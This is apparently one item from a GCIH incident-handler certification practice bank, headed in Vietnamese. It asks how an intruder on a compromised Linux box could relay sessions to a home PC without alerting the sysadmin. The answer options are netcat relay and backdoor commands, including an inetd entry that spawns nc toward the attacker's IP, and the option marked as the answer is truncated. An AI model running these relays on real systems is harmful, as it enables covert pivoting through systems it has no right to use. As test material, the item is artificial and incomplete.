Câu 105: GCIH: GIAC Certified Incident Handler

You have gained access to a Linux box. Which of the following methods would enable you to launch attacks against other systems and send the sessions back to your home PC (10.2.200.1) without altering system config files on the Linux box that might alert the sysadmin?

1. A. echo 123 stream tcp nowait nobody/usr/sbin/tcpd /usr/bin/nc 10.2.200.1 321 >> /etc/inetd.conf killall -HUP inetd
2. B. mkfifo backpipe; nc -l -p 24680 backpipe — đáp án hiện tại
3. C. mkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 >backpipe
4. D. echo "nc 10.2.200.1 123">>relay.bat; nc -l -p 123 | relay.bat